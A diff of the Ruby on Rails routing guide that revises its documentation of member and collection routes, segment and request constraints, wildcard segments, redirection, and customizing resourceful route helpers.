+For other actions, you need to insert the action name as the first element of the array, for `edit_magazine_ad_path`:
 
 ```erb
 <%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
@@ -475,45 +566,61 @@ For other actions, you just need to insert the action name as the first element
 
 This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
 
-### Adding More RESTful Actions
+NOTE: In order to automatically derive paths and URLs from objects such as `[@magazine, @ad]`, Rails uses methods from [`ActiveModel::Naming`](https://api.rubyonrails.org/classes/ActiveModel/Naming.html) and [`ActiveModel::Conversion`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html) modules. Specifically, the `@magazine.model_name.route_key` returns `magazines` and `@magazine.to_param` returns a string representation of the model's `id`. So the generated path may be something like `/magazines/1/ads/42` for the objects `[@magazine, @ad]`.
 
-You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
+[ActionView::RoutingUrlFor#url_for]: https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for
+
+### Adding More RESTful Routes
+
+You are not limited to the [seven routes](#crud-verbs-and-actions) that RESTful routing creates by default. You can add additional routes that apply to the collection or individual members of the collection.
+
+The below sections describe adding member routes and collection routes. The term `member` refers to routes acting on a single element, such as `show`, `update`, or `destroy`. The term `collection` refers to routes acting on multiple, or a collection of, elements, such as the `index` route.
 
 #### Adding Member Routes
 
-To add a member route, just add a `member` block into the resource block:
+You can add a [`member`][] block into the resource block like this:
 
 ```ruby
 resources :photos do
   member do
-    get 'preview'
+    get "preview"
   end
 end
 ```
 
-This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
+An incoming GET request to `/photos/1/preview` will route to the `preview` action of `PhotosController`. The resource id value will be available in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
+
+Within the `member` block, each route definition specifies the HTTP verb (`get`
+in the above example with `get 'preview'`). In addition to [`get`][], you can
+use [`patch`][], [`put`][], [`post`][], or [`delete`][].
 
-Within the block of member routes, each route name specifies the HTTP verb
-will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here
-. If you don't have multiple `member` routes, you can also pass `:on` to a
-route, eliminating the block:
+If you don't have multiple `member` routes, you can also
+pass `:on` to a route, eliminating the block:
 
 ```ruby
 resources :photos do
-  get 'preview', on: :member
+  get "preview", on: :member
 end
 ```
 
-You can leave out the `:on` option, this will create the same member route except that the resource id value will be available in `params[:photo_id]` instead of `params[:id]`.
+You can also leave out the `:on` option, this will create the same member route except that the resource id value will be available in `params[:photo_id]` instead of `params[:id]`. Route helpers will also be renamed from `preview_photo_url` and `preview_photo_path` to `photo_preview_url` and `photo_preview_path`.
+
+[`delete`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-delete
+[`get`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-get
+[`member`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-member
+[`patch`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-patch
+[`post`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-post
+[`put`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-put
+[`put`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-put
 
 #### Adding Collection Routes
 
-To add a route to the collection:
+To add a route to the collection, use a [`collection`][] block:
 
 ```ruby
 resources :photos do
   collection do
-    get 'search'
+    get "search"
   end
 end
 ```
@@ -524,17 +631,21 @@ Just as with member routes, you can pass `:on` to a route:
 
 ```ruby
 resources :photos do
-  get 'search', on: :collection
+  get "search", on: :collection
 end
 ```
 
+NOTE: If you're defining additional resource routes with a symbol as the first positional argument, be mindful that it is not equivalent to using a string. Symbols infer controller actions while strings infer paths.
+
+[`collection`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-collection
+
 #### Adding Routes for Additional New Actions
 
 To add an alternate new action using the `:on` shortcut:
 
 ```ruby
 resources :comments do
-  get 'preview', on: :new
+  get "preview", on: :new
 end
 ```
 
@@ -542,43 +653,45 @@ This will enable Rails to recognize paths such as `/comments/new/preview` with G
 
 TIP: If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
 
+It is possible to customize the default routes and helpers generated by `resources`, see [customizing resourceful routes section](#customizing-resourceful-routes) for more.
+
 Non-Resourceful Routes
 ----------------------
 
-In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
+In addition to resourceful routing with `resources`, Rails has powerful support for routing arbitrary URLs to actions. You don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route separately within your application.
 
-While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
+While you should usually use resourceful routing, there are places where non-resourceful routing is more appropriate. There's no need to try to force every last piece of your application into a resourceful framework if that's not a good fit.
 
-In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
+One example use case for non-resourceful routing is mapping existing legacy URLs to new Rails actions.
 
 ### Bound Parameters
 
 When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. For example, consider this route:
 
 ```ruby
-get 'photos(/:id)', to: :display
+get "photos(/:id)", to: "photos#display"
 ```
 
-If an incoming request of `/photos/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `display` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#display`, since `:id` is an optional parameter, denoted by parentheses.
+If an incoming `GET` request of `/photos/1` is processed by this route, then the result will be to invoke the `display` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#display`, since `:id` is an optional parameter, denoted by parentheses in the above example.
 
 ### Dynamic Segments
 
 You can set up as many dynamic segments within a regular route as you like. Any segment will be available to the action as part of `params`. If you set up this route:
 
 ```ruby
-get 'photos/:id/:user_id', to: 'photos#show'
+get "photos/:id/:user_id", to: "photos#show"
 ```
 
-An incoming path of `/photos/1/2` will be dispatched to the `show` action of the `PhotosController`. `params[:id]` will be `"1"`, and `params[:user_id]` will be `"2"`.
+This route will respond to paths such as `/photos/1/2`. The `params` hash will be { controller: 'photos', action: 'show', id: '1', user_id: '2' }.
 
 TIP: By default, dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `id: /[^\/]+/` allows anything except a slash.
 
 ### Static Segments
 
-You can specify static segments when creating a route by not prepending a colon to a fragment:
+You can specify static segments when creating a route by not prepending a colon to a segment:
 
 ```ruby
-get 'photos/:id/with_user/:user_id', to: 'photos#show'
+get "photos/:id/with_user/:user_id", to: "photos#show"
 ```
 
 This route would respond to paths such as `/photos/1/with_user/2`. In this case, `params` would be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
@@ -588,128 +701,152 @@ This route would respond to paths such as `/photos/1/with_user/2`. In this case,
 The `params` will also include any parameters from the query string. For example, with this route:
 
 ```ruby
-get 'photos/:id', to: 'photos#show'
+get "photos/:id", to: "photos#show"
 ```
 
-An incoming path of `/photos/1?user_id=2` will be dispatched to the `show` action of the `Photos` controller. `params` will be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
+An incoming `GET` request for `/photos/1?user_id=2` will be dispatched to the `show` action of the `PhotosController` class as usual and the `params` hash will be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
 
-### Defining Defaults
+### Defining Default Parameters
 
 You can define defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example:
 
 ```ruby
-get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }
+get "photos/:id", to: "photos#show", defaults: { format: "jpg" }
 ```
 
 Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`.
 
-You can also use `defaults` in a block format to define the defaults for multiple items:
+You can also use a [`defaults`][] block to define the defaults for multiple items:
 
 ```ruby
 defaults format: :json do
   resources :photos
+  resources :articles
 end
 ```
 
 NOTE: You cannot override defaults via query parameters - this is for security reasons. The only defaults that can be overridden are dynamic segments via substitution in the URL path.
 
+[`defaults`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-defaults
+
 ### Naming Routes
 
-You can specify a name for any route using the `:as` option:
+You can specify a name that will be used by the `_path` and `_url` helpers for any route using the `:as` option:
 
 ```ruby
-get 'exit', to: 'sessions#destroy', as: :logout
+get "exit", to: "sessions#destroy", as: :logout
 ```
 
-This will create `logout_path` and `logout_url` as named helpers in your application. Calling `logout_path` will return `/exit`
+This will create `logout_path` and `logout_url` as the route helpers in your application. Calling `logout_path` will return `/exit`.
 
-You can also use this to override routing methods defined by resources, like this:
+You can also use `as` to override routing helper names defined by `resources` by placing a custom route definition *before* the resource is defined, like this:
 
 ```ruby
-get ':username', to: 'users#show', as: :user
+get ":username", to: "users#show", as: :user
+resources :users
 ```
 
-This will define a `user_path` method that will be available in controllers, helpers and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`.
+This will define a `user_path` helper that will match `/:username` (e.g. `/jane`). Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user.
 
 ### HTTP Verb Constraints
 
-In general, you should use the `get`, `post`, `put`, `patch`  and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
+In general, you should use the [`get`][], [`post`][], [`put`][], [`patch`][], and [`delete`][] methods to constrain a route to a particular verb. There is a [`match`][] method that you could use with the `:via` option to match multiple verbs at once:
 
 ```ruby
-match 'photos', to: 'photos#show', via: [:get, :post]
+match "photos", to: "photos#show", via: [:get, :post]
 ```
 
+The above route matches GET and POST requests to the `show` action of the `PhotosController`.
+
 You can match all verbs to a particular route using `via: :all`:
 
 ```ruby
-match 'photos', to: 'photos#show', via: :all
+match "photos", to: "photos#show", via: :all
 ```
 
-NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.
+NOTE: Routing both `GET` and `POST` requests to a single action has security
+implications. For example, the `GET` action won't check for CSRF token (so
+writing to the database from `GET` request is not a good idea. For more
+information see the [security guide](security.html#csrf-countermeasures)). In
+general, avoid routing all verbs to a single action unless you have a good
+reason.
 
-NOTE: 'GET' in Rails won't check for CSRF token. You should never write to the database from 'GET' requests, for more information see the [security guide](security.html#csrf-countermeasures) on CSRF countermeasures.
+[`match`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-match
 
 ### Segment Constraints
 
 You can use the `:constraints` option to enforce a format for a dynamic segment:
 
 ```ruby
-get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }
+get "photos/:id", to: "photos#show", constraints: { id: /[A-Z]\d{5}/ }
 ```
 
-This route would match paths such as `/photos/A12345`, but not `/photos/893`. You can more succinctly express the same route this way:
+The above route definition requires `id` to be 5 alphanumeric characters long. Therefore, this route would match paths such as `/photos/A12345`, but not `/photos/893`. You can more succinctly express the same route this way:
 
 ```ruby
-get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
+get "photos/:id", to: "photos#show", id: /[A-Z]\d{5}/
 ```
 
-`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
+The `:constraints` option takes regular expressions (as well as any object that responds to `matches?` method) with the restriction that regexp anchors can't be used. For example, the following route will not work:
 
 ```ruby
-get '/:id', to: 'articles#show', constraints: { id: /^\d/ }
+get "/:id", to: "articles#show", constraints: { id: /^\d/ }
 ```
 
-However, note that you don't need to use anchors because all routes are anchored at the start.
+However, note that you don't need to use anchors because all routes are anchored at the start and the end.
 
-For example, the following routes would allow for `articles` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
+For example:
 
 ```ruby
-get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
-get '/:username', to: 'users#show'
+get "/:id", to: "articles#show", constraints: { id: /\d.+/ }
+get "/:username", to: "users#show"
 ```
 
+The above routes would allow sharing the root namespace and:
+
+- route paths that always begin with a number, like `/1-hello-world`, to `articles` with `id` value.
+- route paths that never begin with a number, like `/david`, to `users` with `username` value.
+
 ### Request-Based Constraints
 
 You can also constrain a route based on any method on the [Request object](action_controller_overview.html#the-request-object) that returns a `String`.
 
-You specify a request-based constraint the same way that you specify a segment constraint:
+You specify a request-based constraint the same way that you specify a segment constraint. For example:
 
 ```ruby
-get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' }
+get "photos", to: "photos#index", constraints: { subdomain: "admin" }
 ```
 
-You can also specify constraints in a block form:
+Will match an incoming request with a path to `admin` subdomain.
+
+You can also specify constraints by using a [`constraints`][] block:
 
 ```ruby
-namespace :admin do
-  constraints subdomain: 'admin' do
-    resources :photos
-  end
+constraints subdomain: "admin" do
+  resources :photos
 end
 ```
 
-NOTE: Request constraints work by calling a method on the [Request object](action_controller_overview.html#the-request-object) with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected, however using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String.
+Will match something like `https://admin.example.com/photos`.
+
+Request constraints work by calling a method on the [Request object](action_controller_overview.html#the-request-object) with the same name as the hash key and then comparing the return value with the hash value. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected. However, using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String.
+
+NOTE: Constraint values should match the corresponding Request object method return type.
 
-NOTE: There is an exception for the `format` constraint: while it's a method on the Request object, it's also an implicit optional parameter on every path. Segment constraints take precedence and the `format` constraint is only applied as such when enforced through a hash. For example, `get 'foo', constraints: { format: 'json' }` will match `GET  /foo` because the format is optional by default. However, you can [use a lambda](#advanced-constraints) like in `get 'foo', constraints: lambda { |req| req.format == :json }` and the route will only match explicit JSON requests.
+There is an exception for the `format` constraint, while it's a method on the Request object, it's also an implicit optional parameter on every path. Segment constraints take precedence and the `format` constraint is only applied when enforced through a hash. For example, `get 'foo', constraints: { format: 'json' }` will match `GET  /foo` because the format is optional by default.
+
+NOTE: You can [use a lambda](#advanced-constraints) like in `get 'foo', constraints: lambda { |req| req.format == :json }` to only match the route to explicit JSON requests.
+
+[`constraints`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-constraints
 
 ### Advanced Constraints
 
-If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
+If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a restricted list to the `RestrictedListController`. You could do:
 
 ```ruby
-class BlacklistConstraint
+class RestrictedListConstraint
   def initialize
-    @ips = Blacklist.retrieve_ips
+    @ips = RestrictedList.retrieve_ips
   end
 
   def matches?(request)
@@ -718,8 +855,8 @@ class BlacklistConstraint
 end
 
 Rails.application.routes.draw do
-  get '*path', to: 'blacklist#index',
-    constraints: BlacklistConstraint.new
+  get "*path", to: "restricted_list#index",
+    constraints: RestrictedListConstraint.new
 end
 ```
 
@@ -727,154 +864,259 @@ You can also specify constraints as a lambda:
 
 ```ruby
 Rails.application.routes.draw do
-  get '*path', to: 'blacklist#index',
-    constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+  get "*path", to: "restricted_list#index",
+    constraints: lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }
 end
 ```
 
 Both the `matches?` method and the lambda gets the `request` object as an argument.
 
-### Route Globbing and Wildcard Segments
+#### Constraints in a Block Form
+
+You can specify constraints in a block form. This is useful for when you need to apply the same rule to several routes. For example:
+
+```ruby
+class RestrictedListConstraint
+  # ...Same as the example above
+end
+
+Rails.application.routes.draw do
+  constraints(RestrictedListConstraint.new) do
+    get "*path", to: "restricted_list#index"
+    get "*other-path", to: "other_restricted_list#index"
+  end
+end
+```
 
-Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example:
+You can also use a `lambda`:
 
 ```ruby
-get 'photos/*other', to: 'photos#unknown'
+Rails.application.routes.draw do
+  constraints(lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }) do
+    get "*path", to: "restricted_list#index"
+    get "*other-path", to: "other_restricted_list#index"
+  end
+end
 ```
 
-This route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`. The fragments prefixed with a star are called "wildcard segments".
+### Wildcard Segments
+
+A route definition can have a wildcard segment, which is a segment prefixed with a star, such as `*other`:
+
+```ruby
+get "photos/*other", to: "photos#unknown"
+```
+
+Wildcard segments allow for something called "route globbing", which is a way to specify that a particular parameter (`*other` above) be matched to the remaining part of a route.
+
+So the above route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`.
 
 Wildcard segments can occur anywhere in a route. For example:
 
 ```ruby
-get 'books/*section/:title', to: 'books#show'
+get "books/*section/:title", to: "books#show"
 ```
 
 would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `'some/section'`, and `params[:title]` equals `'last-words-a-memoir'`.
 
-Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example:
+Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in the order they occur. For example:
 
 ```ruby
-get '*a/foo/*b', to: 'test#index'
+get "*a/foo/*b", to: "test#index"
 ```
 
 would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`.
 
-NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equal to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this:
+### Format Segments
+
+Given this route definition:
+
+```ruby
+get "*pages", to: "pages#show"
+```
+
+By requesting `'/foo/bar.json'`, your `params[:pages]` will be equal to `'foo/bar'` with the request format of JSON in `params[:format]`.
+
+The default behavior with `format` is that if included Rails automatically captures it from the URL and includes it in params[:format], but `format` is not required in a URL.
+
+If you want to match URLs without an explicit format and ignore URLs that include a format extension, you could supply `format: false` like this:
 
 ```ruby
-get '*pages', to: 'pages#show', format: false
+get "*pages", to: "pages#show", format: false
 ```
 
-NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply `format: true` like this:
+If you want to make the format segment mandatory, so it cannot be omitted, you can supply `format: true` like this:
 
 ```ruby
-get '*pages', to: 'pages#show', format: true
+get "*pages", to: "pages#show", format: true
 ```
 
 ### Redirection
 
-You can redirect any path to another path using the `redirect` helper in your router:
+You can redirect any path to any other path by using the [`redirect`][] helper in your router:
 
 ```ruby
-get '/stories', to: redirect('/articles')
+get "/stories", to: redirect("/articles")
 ```
 
 You can also reuse dynamic segments from the match in the path to redirect to:
 
 ```ruby
-get '/stories/:name', to: redirect('/articles/%{name}')
+get "/stories/:name", to: redirect("/articles/%{name}")
 ```
 
-You can also provide a block to redirect, which receives the symbolized path parameters and the request object:
+You can also provide a block to `redirect`, which receives the symbolized path parameters and the request object:
 
 ```ruby
-get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
-get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" }
+get "/stories/:name", to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
+get "/stories", to: redirect { |path_params, req| "/articles/#{req.subdomain}" }
 ```
 
 Please note that default redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. You can use the `:status` option to change the response status:
 
 ```ruby
-get '/stories/:name', to: redirect('/articles/%{name}', status: 302)
+get "/stories/:name", to: redirect("/articles/%{name}", status: 302)
 ```
 
-In all of these cases, if you don't provide the leading host (`http://www.example.com`), Rails will take those details from the current request.
+In all of these cases, if you don't provide the host (`http://www.example.com`), Rails will take those details from the current request.
+
+[`redirect`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Redirection.html#method-i-redirect
 
 ### Routing to Rack Applications
 
-Instead of a String like `'articles#index'`, which corresponds to the `index` action in the `ArticlesController`, you can specify any [Rack application](rails_on_rack.html) as the endpoint for a matcher:
+Instead of specifying `:to` as a String like `'articles#index'`, which corresponds to the `index` method in the `ArticlesController` class, you can specify any [Rack application](rails_on_rack.html) as the endpoint for a matcher:
 
 ```ruby
-match '/application.js', to: MyRackApp, via: :all
+match "/application.js", to: MyRackApp, via: :all
 ```
 
-As long as `MyRackApp` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
+As long as `MyRackApp` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and a controller action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs.
+
+NOTE: An interesting tidbit - `'articles#index'` expands out to `ArticlesController.action(:index)`, which returns a valid Rack application.
 
-NOTE: For the curious, `'articles#index'` actually expands out to `ArticlesController.action(:index)`, which returns a valid Rack application.
+NOTE: Since procs/lambdas are objects that respond to `call`, you can implement very simple routes (e.g. for health checks) inline, something like: `get '/health', to: ->(env) { [204, {}, ['']] }`
 
 If you specify a Rack application as the endpoint for a matcher, remember that
 the route will be unchanged in the receiving application. With the following
-route your Rack application should expect the route to be '/admin':
+route your Rack application should expect the route to be `/admin`:
 
 ```ruby
-match '/admin', to: AdminApp, via: :all
+match "/admin", to: AdminApp, via: :all
 ```
 
 If you would prefer to have your Rack application receive requests at the root
-path instead, use mount:
+path instead, use [`mount`][]:
 
 ```ruby
-mount AdminApp, at: '/admin'
+mount AdminApp, at: "/admin"
 ```
 
+[`mount`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-mount
+
 ### Using `root`
 
-You can specify what Rails should route `'/'` to with the `root` method:
+You can specify what Rails should route `'/'` to with the [`root`][] method:
 
 ```ruby
-root to: 'pages#main'
-root 'pages#main' # shortcut for the above
+root to: "pages#main"
+root "pages#main" # shortcut for the above
 ```
 
-You should put the `root` route at the top of the file, because it is the most popular route and should be matched first.
+You typically put the `root` route at the top of the file so that it can be matched first.
 
-NOTE: The `root` route only routes `GET` requests to the action.
+NOTE: The `root` route primarily handles `GET` requests by default. But it is possible to configure it to handle other verbs (e.g. `root "posts#index", via: :post`)
 
-You can also use root inside namespaces and scopes as well. For example:
+You can also use root inside namespaces and scopes as well:
 
 ```ruby
+root to: "home#index"
+
 namespace :admin do
   root to: "admin#index"
 end
-
-root to: "home#index"
 ```
 
-### Unicode character routes
+The above will match `/admin` to the `index` action for the `AdminController` and match `/` to `index` action of the `HomeController`.
+
+[`root`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-root
+
+### Unicode Character Routes
 
 You can specify unicode character routes directly. For example:
 
 ```ruby
-get '�ん���', to: 'welcome#index'
+get "�ん���", to: "welcome#index"
+```
+
+### Direct Routes
+
+You can create custom URL helpers by calling [`direct`][]. For example:
+
+```ruby
+direct :homepage do
+  "https://rubyonrails.org"
+end
+
+# >> homepage_url
+# => "https://rubyonrails.org"
+```
+
+The return value of the block must be a valid argument for the [`url_for`][] method. So, you can pass a valid string URL, Hash, Array, an Active Model instance, or an Active Model class.
+
+```ruby
+direct :commentable do |model|
+  [ model, anchor: model.dom_id ]
+end
+```
+
+```ruby
+direct :main do
+  { controller: "pages", action: "index", subdomain: "www" }
+end
+
+# >> main_url
+# => "http://www.example.com/pages"
+```
+
+[`direct`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/CustomUrls.html#method-i-direct
+[`url_for`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html
+
+### Using `resolve`
+
+The [`resolve`][] method allows customizing polymorphic mapping of models. For example:
+
+```ruby
+resource :basket
+
+resolve("Basket") { [:basket] }
+```
+
+```erb
+<%= form_with model: @basket do |form| %>
+  <!-- basket form -->
+<% end %>
 ```
 
+This will generate the singular URL `/basket` instead of the usual `/baskets/:id`.
+
+[`resolve`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/CustomUrls.html#method-i-resolve
+
 Customizing Resourceful Routes
 ------------------------------
 
-While the default routes and helpers generated by `resources :articles` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
+While the default routes and helpers generated by [`resources`][] will usually serve you well, you may need to customize them in some way. Rails allows for several different ways to customize the resourceful routes and helpers. This section will detail the available options.
 
 ### Specifying a Controller to Use
 
 The `:controller` option lets you explicitly specify a controller to use for the resource. For example:
 
 ```ruby
-resources :photos, controller: 'images'
+resources :photos, controller: "images"
 ```
 
 will recognize incoming paths beginning with `/photos` but route to the `Images` controller:
 
-| HTTP Verb | Path             | Controller#Action | Named Helper         |
+| HTTP Verb | Path             | Controller#Action | Named Route Helper   |
 | --------- | ---------------- | ----------------- | -------------------- |
 | GET       | /photos          | images#index      | photos_path          |
 | GET       | /photos/new      | images#new        | new_photo_path       |
@@ -884,22 +1126,18 @@ will recognize incoming paths beginning with `/photos` but route to the `Images`
 | PATCH/PUT | /photos/:id      | images#update     | photo_path(:id)      |
 | DELETE    | /photos/:id      | images#destroy    | photo_path(:id)      |
 
-NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.
-
 For namespaced controllers you can use the directory notation. For example:
 
 ```ruby
-resources :user_permissions, controller: 'admin/user_permissions'
+resources :user_permissions, controller: "admin/user_permissions"
 ```
 
-This will route to the `Admin::UserPermissions` controller.
+This will route to the `Admin::UserPermissionsController` instance.
 
-NOTE: Only the directory notation is supported. Specifying the
-controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`)
-can lead to routing problems and results in
-a warning.
+NOTE: Only the directory notation is supported. Specifying the controller with
+Ruby constant notation (e.g. `controller: 'Admin::UserPermissions'`) is not supported.
 
-### Specifying Constraints
+### Specifying Constraints on `id`
 
 You can use the `:constraints` option to specify a required format on the implicit `id`. For example:
 
@@ -907,7 +1145,7 @@ You can use the `:constraints` option to specify a required format on the implic
 resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }
 ```
 
-This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.
+This declaration constrains the `:id` parameter to match the given regular expression. The router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.
 
 You can specify a single constraint to apply to a number of routes by using the block form:
 
@@ -918,21 +1156,21 @@ constraints(id: /[A-Z][A-Z][0-9]+/) do
 end
 ```
 
-NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
+NOTE: You can use the more [advanced constraints](#advanced-constraints) available in non-resourceful routes section in this context as well.
 
 TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `id: /[^\/]+/` allows anything except a slash.
 
-### Overriding the Named Helpers
+### Overriding the Named Route Helpers
 
-The `:as` option lets you override the normal naming for the named route helpers. For example:
+The `:as` option lets you override the default naming for the route helpers. For example:
 
 ```ruby
-resources :photos, as: 'images'
+resources :photos, as: "images"
 ```
 
-will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the `:as` option to name the helpers.
+This will match `/photos` and route the requests to `PhotosController` as usual, *but* use the value of the `:as` option to name the helpers `images_path` etc., as shown:
 
-| HTTP Verb | Path             | Controller#Action | Named Helper         |
+| HTTP Verb | Path             | Controller#Action | Named Route Helper   |
 | --------- | ---------------- | ----------------- | -------------------- |
 | GET       | /photos          | photos#index      | images_path          |
 | GET       | /photos/new      | photos#new        | new_image_path       |
@@ -942,78 +1180,106 @@ will recognize incoming paths beginning with `/photos` and route the requests to
 | PATCH/PUT | /photos/:id      | photos#update     | image_path(:id)      |
 | DELETE    | /photos/:id      | photos#destroy    | image_path(:id)      |
 
-### Overriding the `new` and `edit` Segments
+### Renaming the `new` and `edit` Path Names
 
-The `:path_names` option lets you override the automatically-generated `new` and `edit` segments in paths:
+The `:path_names` option lets you override the default `new` and `edit` segment in paths. For example:
 
 ```ruby
-resources :photos, path_names: { new: 'make', edit: 'change' }
+resources :photos, path_names: { new: "make", edit: "change" }
 ```
 
-This would cause the routing to recognize paths such as:
+This would allow paths such as `/photos/make` and `/photos/1/change` instead of `/photos/new` and `/photos/1/edit`.
 
-```
-/photos/make
-/photos/1/change
-```
+NOTE: The route helpers and controller action names aren't changed by this option. The two paths shown would have `new_photo_path` and `edit_photo_path` helpers and still route to the `new` and `edit` actions.
 
-NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the `new` and `edit` actions.
-
-TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
+It is also possible to change this option uniformly for all of your routes by using a `scope` block:
 
 ```ruby
-scope path_names: { new: 'make' } do
+scope path_names: { new: "make" } do
   # rest of your routes
 end
 ```
 
-### Prefixing the Named Route Helpers
+### Prefixing the Named Route Helpers with `:as`
 
 You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. For example:
 
 ```ruby
-scope 'admin' do
-  resources :photos, as: 'admin_photos'
